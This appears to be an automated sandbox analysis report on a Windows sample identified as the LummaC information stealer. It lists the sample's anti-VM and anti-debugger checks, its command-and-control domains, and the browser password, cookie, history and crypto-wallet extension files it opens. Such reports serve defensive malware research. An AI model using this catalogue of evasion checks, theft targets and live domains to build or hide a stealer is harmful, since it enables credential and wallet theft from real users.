Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 774431 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 622DB71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63D0749 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63FA7CE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63D7676 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 2536

Thread sleep time: -240000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2432174692.00000000063AF000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420960885.00000000006B8000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2431682259.00000000060F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2422824185.0000000000E18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422824185.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2422824185.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2182584658.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2422824185.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2422824185.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2432174692.00000000063AF000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420960885.00000000006B8000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2431682259.00000000060F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2182584658.0000000005821000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000002.2420678937.00000000004D1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.2420960885.00000000006B8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~Program Manager
Source: file.exe, 00000000.00000002.2432174692.00000000063AF000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: JProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2233665120.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: es%\Windows Defender\MsMpeng.exe
Source: file.exe, 00000000.00000003.2228123059.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 5128, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
